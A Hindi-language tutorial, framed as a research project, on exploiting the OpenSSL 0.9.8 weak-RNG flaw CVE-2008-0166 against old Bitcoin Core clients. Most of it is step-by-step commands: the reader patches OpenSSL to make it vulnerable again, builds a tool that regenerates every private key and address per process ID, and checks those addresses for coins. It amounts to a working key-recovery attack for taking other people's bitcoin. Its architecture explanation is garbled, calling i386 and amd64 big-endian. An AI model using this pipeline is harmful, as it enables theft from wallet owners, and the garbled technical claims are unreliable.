
पुराने Bitcoin Core संस्करणों पर BTC सिक्कों की खोज करें जिनमें OpenSSL 0.9.8 CVE-2008-0166 महत्वपूर्ण कमजोरी है।
इस लेख में, हम एक उपकरण बनाएंगे जो CVE-2008-0166 भेद्यता का उपयोग करके Bitcoin Addresses (P2PKH) उत्पन्न करेगा। यह Bitcoin Core सॉफ्टवेयर क्लाइंट के पुराने संस्करणों पर BTC सिक्के खोजने के लिए एक शोध परियोजना है।
रैंडम नंबर जनरेटर जो पूर्वानुमानित संख्याएँ उत्पन्न करता है CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Detected
क्रिटिकल भेद्यता संस्करण OpenSSL 0.9.8 CVE-2008-0166 केवल प्रक्रिया आईडी से भरा गया था। एंडियननेस और sizeof(long) के बीच अंतर के कारण, आउटपुट आर्किटेक्चर पर निर्भर है: 32 -बिट बिग एंडियन (उदाहरण, i386), 64 -बिट बिग एंडियन (उदाहरण, amd64, ia64), 32 -बिट बिग एंडियन (उदाहरण, powerpc, sparc)। PID 0 कोर है, और PID_MAX () पोर्टिंग द्वारा प्राप्त नहीं किया जाता है, इसलिए प्रत्येक आर्किटेक्चर के लिए संभावित रैंडम नंबर स्ट्रीम थे।

Bitcoin Core सॉफ्टवेयर क्लाइंट OpenSSL का उपयोग करता है। विशेष रूप से, यह Bitcoin Addresses (एक कुंजी की तरह) उत्पन्न करने के लिए «EC_KEY_generate_key()» फ़ंक्शन का उपयोग करता है ताकि भुगतान प्राप्त किया जा सके। Bitcoin Core के पुराने संस्करण wallet.dat में 100 कुंजियाँ उत्पन्न और संग्रहीत करते हैं।
एक नई कुंजी केवल तब उत्पन्न होती है जब Bitcoin भुगतान प्राप्त होता है। इस प्रकार, Bitcoin Core सॉफ्टवेयर क्लाइंट 100 अप्रयुक्त Bitcoin Keys (पतों) का एक पूल बनाए रखता है। आंतरिक रैंडम नंबर जनरेटर की स्थिति इस बात पर निर्भर करती है कि «RAND_add(8)», «RAND_bytes(8)» और «RAND_bytes(32)». जैसे कॉल से पहले OpenSSL लाइब्रेरी में कौन से अन्य कॉल किए गए थे।
इसलिए शोध में बहुत सारे पुराने Bitcoin स्रोतों से गुज़रना शामिल था ताकि पता लगाया जा सके कि «EC_KEY_generate_key()». कॉल से पहले कौन से कॉल किए गए जो RNG की आंतरिक स्थिति को प्रभावित करते हैं। कॉल पथ Bitcoin Core सॉफ्टवेयर क्लाइंट के संस्करणों के बीच बदलता है।
शोध निम्नलिखित संस्करणों पर केंद्रित था:

हमारा लक्ष्य Bitcoin Core सॉफ्टवेयर क्लाइंट के प्रत्येक संस्करण के लिए, प्रत्येक आर्किटेक्चर (le32/le64) के लिए, प्रत्येक प्रक्रिया आईडी के लिए और Bitcoin Addresses (P2PKH) के लिए, क्रिटिकल भेद्यता OpenSSL 0.9.8. से एक रैंडम नंबर का उपयोग करके निजी कुंजियाँ उत्पन्न करना है।
अंततः, हम एक Bitcoin Address Generator (P2PKH) बनाएंगे और सब कुछ एक फ़ाइल result.txt में सहेजा जाएगा।

इसके लिए हम Google Colab से «Ubuntu 18.04.5 LTS» वितरण किट का उपयोग करेंगे।

पहले हमने एक वीडियो निर्देश रिकॉर्ड किया था: «TERMINAL in Google Colab create all the conveniences for working in GITHUB»
Google Colab को Terminal [TerminalGoogleColab] में खोलें।
कमांड चलाएँ:
cat /etc/lsb-release
«CryptoDeepTools» रिपॉजिटरी पर जाएँ और विवरण देखें
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

अपडेट करें और g++ libgmp3-dev libmpfr-dev इंस्टॉल करें
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

OpenSSL को फिर से कमजोर बनाने के लिए जैसा कि CVE-2008-0166 में है
डाउनलोड करें openssl-0.9.8c.tar.gz और सिस्टम फ़ाइलों को पैच करें
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

सब कुछ Google Drive फ़ाइल स्टोरेज में एक टेक्स्ट फ़ाइल result.txt के रूप में सहेजा जाएगा।


इसके बाद, सभी उत्पन्न Bitcoin Addresses में BTC सिक्कों की उपस्थिति की जाँच करना शेष है, इसके लिए हम Python स्क्रिप्ट का उपयोग कर सकते हैं: bitcoin-checker.py
वीडियो: https://youtu.be/zHkXups2I8k
| दान का पता | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |